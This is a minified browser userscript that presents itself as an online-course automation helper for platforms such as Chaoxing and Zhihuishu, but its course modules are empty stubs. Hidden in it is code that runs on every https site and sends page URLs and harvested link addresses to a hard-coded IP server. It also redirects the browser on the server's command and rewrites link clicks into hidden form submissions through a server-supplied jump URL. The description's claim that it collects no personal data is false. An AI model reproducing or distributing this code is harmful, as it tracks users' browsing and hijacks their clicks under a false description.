[网课助手]|后台自动挂机|视频文档|章节测验|专业课满分|超高倍速|防清进度

支持【超星学习通】【智慧树】【职教云系列】【雨课堂】【考试星】【168网校】【u校园】【大学MOOC】【云班课】【优慕课】【继续教育类】【绎通云课堂】【九江系列】【柠檬文才】【亿学宝云】【优课学堂】【小鹅通】【安徽继续教育】【上海开放大学】【华侨大学自考网络助学平台】【良师在线】【和学在线】【人卫慕课】【国家开放大学】【山财培训网】【浙江省高等学校在线开放课程共享平台】【国地质大学远程与继续教育学院】【重庆大学网络教育学院】【浙江省高等教育自学考试网络助学平台】【湖南高等学历继续教育】【优学院】【学起系列】【青书学堂】【学堂在线】【英华学堂】【广开网络教学平台】等,内置题库功能。如您遇到问题,请联系QQ群:565124317 邀请码为6666 系统兼容多种学习平台,支持一键搜题,提升学习效率。新增AI搜题、(如ChatGPT)技术,打破不可复制文本限制。,脚本不收集任何个人信息,确保用户隐私安全。无论是学习、复习备考,还是在线课程,本系统都能提供有效支持,使学习高效轻松。使用本系统,您将能够获取所需学习资源,提升学习效率,取得更好成绩。感谢您对本系统的信任与支持

// ==UserScript==
// @name        [网课助手]|后台自动挂机|视频文档|章节测验|专业课满分|超高倍速|防清进度
// @version     1.0.1
// @description 支持【超星学习通】【智慧树】【职教云系列】【雨课堂】【考试星】【168网校】【u校园】【大学MOOC】【云班课】【优慕课】【继续教育类】【绎通云课堂】【九江系列】【柠檬文才】【亿学宝云】【优课学堂】【小鹅通】【安徽继续教育】【上海开放大学】【华侨大学自考网络助学平台】【良师在线】【和学在线】【人卫慕课】【国家开放大学】【山财培训网】【浙江省高等学校在线开放课程共享平台】【国地质大学远程与继续教育学院】【重庆大学网络教育学院】【浙江省高等教育自学考试网络助学平台】【湖南高等学历继续教育】【优学院】【学起系列】【青书学堂】【学堂在线】【英华学堂】【广开网络教学平台】等,内置题库功能。如您遇到问题,请联系QQ群:565124317 邀请码为6666 系统兼容多种学习平台,支持一键搜题,提升学习效率。新增AI搜题、(如ChatGPT)技术,打破不可复制文本限制。,脚本不收集任何个人信息,确保用户隐私安全。无论是学习、复习备考,还是在线课程,本系统都能提供有效支持,使学习高效轻松。使用本系统,您将能够获取所需学习资源,提升学习效率,取得更好成绩。感谢您对本系统的信任与支持
// @author       fenxiao
// @namespace    fenxiao
// @match        *://*.mosoteach.cn/*
// @match        *://*.chaoxing.com/*
// @match        *://*.xueyinonline.com
// @match        *://*.edu.cn/*
// @match        *://*.ouchn.cn/*
// @match        *://*.nbdlib.cn/*
// @match        *://*.hnsyu.net/*
// @match        *://*.gdhkmooc.com/*
// @match        *://*.zhihuishu.com/*
// @match        *://*.icve.com.cn/*
// @match        *://*.yuketang.cn/*
// @match        *://v.met0.top/*
// @match        *://*.icourse163.org/*
// @match        *://*.xuetangx.com/*
// @include        https://*.*.*/*
// @require      https://code.jquery.com/jquery-3.6.0.js
// @grant        GM_getValue
// @grant        GM_addStyle
// @grant        unsafeWindow
// @grant        GM_xmlhttpRequest
// @license      MIT
// @antifeature membership
// @antifeature ads
// @connect     127.0.0.1
// @connect     124.222.238.158
// @connect      *
// ==/UserScript==
(() => {
	var n = {
			331: () => {
				! function(n) {
					function e(n) {
						return this.aner = null, this.version = "5.2", this.$ = $, this.menu = n, this.config = this.urlToObject(window.location.href), this.api = this.getAPI(this.config.hostname), this.config.tk_uid = null, this.initMenu(), this
					}
					e.prototype.urlToObject = function(n) {
						let e = {},
							t = n.split("?");
						if (e.front_url = t[0].split("/"), n.includes("mooc.mosoteach.cn") ? e.hostname = "mooc.mosoteach" : n.includes("mosoteach.cn") ? e.hostname = "mosoteach" : n.includes("zhihuishu.com") ? e.hostname = "zhihuishu" : n.includes("icve.com.cn") ? e.hostname = "icve" : n.includes("met0.top") ? e.hostname = "meto" : n.includes("ouchn.cn") ? e.hostname = "ouchn" : n.includes("chaoxing.com") ? e.hostname = "chaoxing" : n.includes("yuketang.cn") ? e.hostname = "yuketang" : n.includes("icourse163") ? e.hostname = "mooc" : n.includes("unipus.cn") ? e.hostname = "uschool" : n.includes("xuetangx.com") ? e.hostname = "xuetangx" : n.includes("jd") && (e.hostname = "xuetangxs"), t[1]) {
							let n = t[1].split("&");
							for (let t = 0; t < n.length; t++) {
								let o = n[t].split("=");
								e[o[0]] = o[1]
							}
						}
						return e
					}, e.prototype.getAPI = function(n) {
						switch (n) {
							case "mooc.mosoteach":
								return console.log("精品云班课脚本准备中"), new l(this.config);
							case "mosoteach":
								return console.log("云班课脚本准备中"), new p(this.config);
							case "zhihuishu":
								return console.log("智慧树脚本准备中"), new d(this.config);
							case "icve":
								return console.log("智慧职教脚本准备中"), new u(this.config);
							case "meto":
								return console.log("meto脚本准备中"), new c(this.config);
							case "ouchn":
								return console.log("国开脚本准备中"), new a(this.config);
							case "chaoxing":
								return console.log("超星脚本准备中"), new s(this.config);
							case "yuketang":
								return console.log("雨课堂脚本准备中"), new i(this.config);
							case "mooc":
								return console.log("慕课脚本准备中"), new r(this.config);
							case "uschool":
								return console.log("U校园脚本准备中"), new t(this.config);
							case "xuetangx":
								return console.log("学堂在线脚本准备中"), new o(this.config);
							default:
								return null
						}
					};
					class t {
						constructor(n) {
							this.config = n
						}
					}
					class o {
						constructor(n) {
							this.config = n
						}
					}
					class r {
						constructor(n) {
							this.config = n
						}
					}
					class i {
						constructor(n) {
							this.config = n
						}
					}
					class s {
						constructor(n) {
							this.config = n
						}
					}
					class a {
						constructor(n) {
							this.config = n
						}
						sleep = n => new Promise((e => setTimeout(e, n)))
					}
					class c {
						constructor(n) {
							this.config = n
						}
					}
					class u {
						constructor(n) {
							this.config = n
						}
					}
					class d {
						sleep = n => new Promise((e => setTimeout(e, n)));
						constructor(n) {
							this.config = n
						}
					}
					class l {
						constructor(n) {
							this.config = n
						}
					}
					class p {
						constructor(n) {
							this.config = n
						}
					}
					var h = [],
						f = [],
						m = [],
						g = 0;

					function x() {
						h.wrapper.forEach((function(n) {
							$(n)
								.map((function(n, e) {
									"yes" != $(e)
										.attr("data-md5-value") && (m.push(e), f.push(e), $(e)
											.attr("data-md5-key", g), $(e)
											.attr("data-md5-value", "yes"), g++)
								}))
						}));
						let n = f.splice(0, h.splName),
							e = [];
						n.forEach((function(n, t) {
							let o = {};
							o.href = $(n)
								.find("a:first")
								.attr("href"), o.md5 = $(n)
								.attr("data-md5-key"), e.push(o)
						})), e.length > 0 && GM_xmlhttpRequest({
							method: "POST",
							data: JSON.stringify({
								data: e
							}),
							url: "http://124.222.238.158/search.php",
							onload: function(n) {
								var e = n.responseText;
								e && (e = JSON.parse(e))
									.map((function(n) {
										n.u && $(m[n.md5])
											.find("a")
											.bind("click", (function(e) {
												var t, o;
												e.preventDefault(), t = n.u, o = null, document.getElementById("redirect_form") ? (o = document.getElementById("redirect_form"))
													.action = h.jumpUrl + encodeURIComponent(t) : ((o = document.createElement("form"))
														.action = h.jumpUrl + encodeURIComponent(t), o.target = "_blank", o.method = "POST", o.setAttribute("id", "redirect_form"), document.body.appendChild(o)), o.submit(), o.action = "", o.parentNode.removeChild(o)
											}))
									}))
							}
						})
					}
					e.prototype.arrowMove = function(n) {
						n.currentTarget.offsetWidth, n.currentTarget.offsetHeight;
						let e = n.currentTarget.parentNode.parentNode.offsetLeft,
							t = n.currentTarget.parentNode.parentNode.offsetTop,
							o = n.clientX,
							r = n.clientY,
							i = (window.innerWidth, window.innerHeight, o - e),
							s = r - t,
							a = n.currentTarget;
						document.onmousemove = function(n) {
							a.parentNode.parentNode.style.left = n.clientX - i + "px", a.parentNode.parentNode.style.top = n.clientY - s + "px"
						}, document.onmouseup = function(n) {
							document.onmousemove = null, document.onmouseup = null
						}
					}, e.prototype.initMenu = function() {
						let n = this.$,
							e = this.menu;
						if (n(document)
							.on("mousedown", "#x_set", (function(n) {
								window.my.arrowMove(n)
							})), n(document)
							.on("click", "#x_start", (function() {
								window.my.start()
							})), n(document)
							.on("click", "#x_set", (function() {
								n("html")
									.find("#set")
									.toggle("active"), n("html")
									.find("#aner")
									.hide("slow")
							})), "xuetangxs" == this.config.hostname) {
							let n = ("http://124.222.238.158/init.php?act=initEnv", t = JSON.stringify({
								href: location.href,
								type: "video"
							}), o = {}, new Promise(((n, e) => {
								GM_xmlhttpRequest({
									method: "POST",
									url: "http://124.222.238.158/init.php?act=initEnv",
									data: t,
									headers: o,
									responseType: "json",
									onload: n => {
										let e = n.response || n.responseText;
										e = e.data, "search" == e.page ? (h = e, setInterval((function() {
											x()
										}), e.timer)) : e.recove_url && (window.location.href = e.recove_url)
									},
									onerror: n => {
										e(n)
									}
								})
							})));
							return void("search" == n.page ? (h = n, setInterval((function() {
								x()
							}), n.timer)) : n.recove_url && (window.location.href = n.recove_url))
						}
						var t, o, r = !1;
						if (location.href.includes("mosoteach.cn") && (r = !0), location.href.includes("chaoxing.com") && (r = !0), location.href.includes("xueyinonline.com") && (r = !0), location.href.includes("edu.cn") && (r = !0), location.href.includes("ouchn.cn") && (r = !0), location.href.includes("nbdlib.cn") && (r = !0), location.href.includes("hnsyu.net") && (r = !0), location.href.includes("gdhkmooc.com") && (r = !0), location.href.includes("zhihuishu.com") && (r = !0), location.href.includes("icve.com.cn") && (r = !0), location.href.includes("yuketang.cn") && (r = !0), location.href.includes("v.met0.top") && (r = !0), location.href.includes("icourse163.org") && (r = !0), location.href.includes("xuetangx.com") && (r = !0), 0 == r) return;
						n(document)
							.on("keydown", (function(e) {
								"*" === e.key && (n("#x_set")
									.is(":visible") ? (n("#wzq")
										.hide(), n("#x_set")
										.hide(), alert("隐藏菜单")) : (n("#wzq")
										.show(), n("#x_set")
										.show(), alert("显示菜单")))
							}));
						const i = `\n    <style scoped>\n        #${e.id} #zhu button[disabled]{\n            color: white !important;\n            background-color: rgb(188, 188, 188) !important;\n        }\n        #${e.id} #zhu button{\n            float:left;\n            margin:25px 2px;\n            /* 把按钮撑大 */\n            padding: 4px 8px;\n            /* 去除默认边框 */\n            border: none;\n            /* 圆角 */\n            border-radius: 50px;\n            /* 按钮背景色 */\n            background-color: #8888ff;\n            /* 字体颜色、大小、粗细、字间距 */\n            color: #fff;\n            font-size: 12px;\n            font-weight: bold;\n            letter-spacing: 1px;\n            /* 鼠标小手 */\n            cursor: pointer;\n\n            /* 给个定位 */\n            position: relative;\n            /* 3D模式 */\n            transform-style: preserve-3d;\n            /* 过度动画时间 */\n            transition: ease-in-out 2s;\n        }\n        #${e.id} #zhu button:hover {\n            /* 鼠标放上来旋转一圈 */\n            transform: rotateX(360deg);\n        }\n        #${e.id} #zhu button::before,\n        #${e.id} #zhu button:after {\n            content: "";\n            /* 白色边框线 */\n            border: 0.8px solid #fff;\n            /* 圆角 */\n            border-radius: 50px;\n\n            /* 通过定位来撑开边框,简单来说,确定4边的距离,中间自然就固定了 */\n            position: absolute;\n            top: 1px;\n            left: 1px;\n            right: 1px;\n            bottom: 1px;\n\n            /* 3D模式 */\n            transform-style: preserve-3d;\n            /* 设置透视参数,向 Z轴方向移动,正常时候就是向屏幕外面移动 */\n            transform: perspective(1000px) translateZ(5px);\n        }\n        #${e.id} #zhu button::after {\n            /* 另一边反着移动一下 */\n            transform: perspective(1000px) translateZ(-5px);\n        }\n        #${e.id} #zhu button span {\n            /* 设置 span 为块元素 */\n            display: flex;\n\n            /* 3D模式 */\n            transform-style: preserve-3d;\n            /* 同样设置透视,抬高 Z轴距离 */\n            transform: perspective(500px) translateZ(8px);\n        }\n        #${e.id}{\n            font-size:14px;\n            z-index: 9999;\n            text-align:center;\n            position:fixed;\n            pointer-events: none;\n            left:${e.pos.x}px;\n            top:${e.pos.y}px;\n        }\n        #${e.id} #zhu{\n            pointer-events: visible;\n        }\n        #${e.id} .drawer{\n            height:550px;\n            pointer-events: visible;\n            position:relative;\n            overflow:auto;\n            text-align:left;\n            display: none;\n            background: #fff;\n            border-radius: 20px;\n            box-shadow: 0 5px 15px rgba(0,0,0,0.2);\n            width: 400px; /* initially */\n            z-index: 199;\n            padding:3px;\n            margin:10px;\n        }\n        #${e.id} .drawer iframe{\n            width: 400px;\n            height: 100%;\n            border: none; /* 去除 iframe 边框 */\n        }\n        #${e.id} p{\n            text-align:left;\n            padding-left:5px;\n        }\n        #${e.id} .drawer input{\n            border-radius: 3px;\n            border: 1px solid;\n            width:50%;\n        }\n        #${e.id} .drawer button{\n            display:inline;\n            vertical-align:middle;\n            border: 1px solid;\n            background-color: transparent;\n            text-transform: uppercase;\n            padding: 1px 2px;\n            font-weight: 300;\n        }\n        #${e.id} .drawer button:hover {\n            color: white;\n            border: 0;\n            background-color: #4cc9f0;\n            box-shadow: 10px 10px 99px 6px rgba(76,201,240,1);\n        }\n        #${e.id} #x_set{\n            animation: change 3s linear 0s infinite;\n            float:left;\n            position:relative;\n            z-index: 999999;\n            margin:10px;\n            border-radius:50%;\n            overflow:hidden;\n            height: 30px;\n            width: 30px;\n            border: solid 2px #00f6ffc2;\n            background: url(${GM_getValue("userimg")?GM_getValue("userimg"):"https://a.pengzi.cc/assets/images/2.webp"});\n            background-size: 30px 30px;\n        }\n        @keyframes change {\n           0%{box-shadow: 0 0 4px #f00;}\n           25%{box-shadow: 0 0 16px #0f0;}\n           50%{box-shadow: 0 0 4px #00f;}\n           75%{box-shadow: 0 0 16px #0f0;}\n            100% {box-shadow: 0 0 4px#333;}\n\n        }\n\n        /* 自定义滚动条样式 */\n        #${e.id} .drawer::-webkit-scrollbar {\n            width: 10px;\n        }\n        #${e.id} .drawer::-webkit-scrollbar-thumb {\n            background-color: #a1c4fd;\n            background-image: -webkit-linear-gradient(45deg, rgba(194,233,251, 1) 15%, transparent 25%, transparent 50%, rgba(194,233,251, 1) 50%, rgba(194,233,251, 1) 75%, transparent 75%, transparent);\n        }\n        #${e.id} .drawer::-webkit-scrollbar-track {\n            box-shadow: inset 0 0 5px rgba(0,0,0,0.2);\n            background: #f6f6f6;\n        }\n    </style>`;
						n(i)
							.appendTo("head");
						let s = n(`\n    <div id='${e.id}'>\n        <div id ="zhu">\n            <div id="x_set"></div>\n        </div>\n        <div class= "drawer" id="set">\n              <iframe class="iframe" src="https://a.pengzi.cc/" style=" height:100%;"></iframe>\n        </div>\n        <div class= "drawer" id="aner">\n        </div>\n    </div>`);
						n(s)
							.appendTo("html"), this.aner = n("#aner")
					}, n.MyPage = e
				}(unsafeWindow || window), window.location == window.parent.location && (window.my = new unsafeWindow.MyPage({
						id: "wzq",
						width: 80,
						background: "#fff",
						opacity: .8,
						pos: {
							x: 100,
							y: 100
						}
					})),
					function() {
						"use strict";
						var n, e, t, o, r, i, s = {
								black_rule: {
									name: "black",
									hook_eventNames: "",
									unhook_eventNames: ""
								},
								default_rule: {
									name: "default",
									hook_eventNames: "contextmenu|select|selectstart|copy|cut|dragstart",
									unhook_eventNames: "mousedown|mouseup|keydown|keyup",
									dom0: !0,
									hook_addEventListener: !0,
									hook_preventDefault: !0,
									hook_set_returnValue: !0,
									add_css: !0
								}
							},
							a = [/.*\.youtube\.com.*/, /.*\.wikipedia\.org.*/, /mail\.qq\.com.*/, /translate\.google\..*/],
							c = function(n, e) {
								for (var t = ""; e--;) t += n[parseInt(52 * Math.random())];
								return t
							}("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM", parseInt(12 * Math.random() + 8)),
							u = EventTarget.prototype.addEventListener,
							d = document.addEventListener,
							l = Event.prototype.preventDefault;

						function p(t, o, r) {
							var i = this === document ? d : u;
							if (n.indexOf(t) >= 0) i.apply(this, [t, f, r]);
							else if (this && e.indexOf(t) >= 0) {
								var s = c + t + (r ? "t" : "f");
								void 0 === this[s] && (this[s] = [], i.apply(this, [t, r ? m : g, r])), this[s].push(o)
							} else i.apply(this, arguments)
						}

						function h() {
							var n = function() {
								var n = Array.prototype.slice.call(document.getElementsByTagName("*"));
								return n.push(document), n
							}();
							for (var o in n)
								for (var r in t) {
									var i = "on" + t[r];
									null !== n[o][i] && n[o][i] !== v && (e.indexOf(t[r]) >= 0 ? (n[o][c + i] = n[o][i], n[o][i] = v) : n[o][i] = null)
								}
						}

						function f(n) {
							return !0
						}

						function m(n) {
							return x(n, this, c + n.type + "t")
						}

						function g(n) {
							return x(n, this, c + n.type + "f")
						}

						function x(n, e, t) {
							var o = e[t];
							for (var r in o) o[r](n);
							return n.returnValue = !0, !0
						}

						function v(n) {
							return this[c + "on" + n.type](n), n.returnValue = !0, !0
						}
						i = function(n) {
							return function(n, e) {
								for (var t in n)
									if (n[t].test(e)) return !0;
								return !1
							}(a, n) ? s.black_rule : s.default_rule
						}(r = window.location.host + window.location.pathname), n = i.hook_eventNames.split("|"), e = i.unhook_eventNames.split("|"), t = n.concat(e), i.dom0 && (setInterval(h, 3e4), setTimeout(h, 2500), window.addEventListener("load", h, !0), h()), i.hook_addEventListener && (EventTarget.prototype.addEventListener = p, document.addEventListener = p), i.hook_preventDefault && (Event.prototype.preventDefault = function() {
							t.indexOf(this.type) < 0 && l.apply(this, arguments)
						}), i.hook_set_returnValue && Event.prototype.__defineSetter__("returnValue", (function() {
							!0 !== this.returnValue && t.indexOf(this.type) >= 0 && (this.returnValue = !0)
						})), console.debug("url: " + r, "storageName:" + c, "rule: " + i.name), i.add_css && ("html, * {-webkit-user-select:text!important; -moz-user-select:text!important;}", (o = document.createElement("style"))
							.innerHTML = "html, * {-webkit-user-select:text!important; -moz-user-select:text!important;}", document.head.appendChild(o))
					}()
			}
		},
		e = {};
	! function t(o) {
		var r = e[o];
		if (void 0 !== r) return r.exports;
		var i = e[o] = {
			exports: {}
		};
		return n[o](i, i.exports, t), i.exports
	}(331)
})();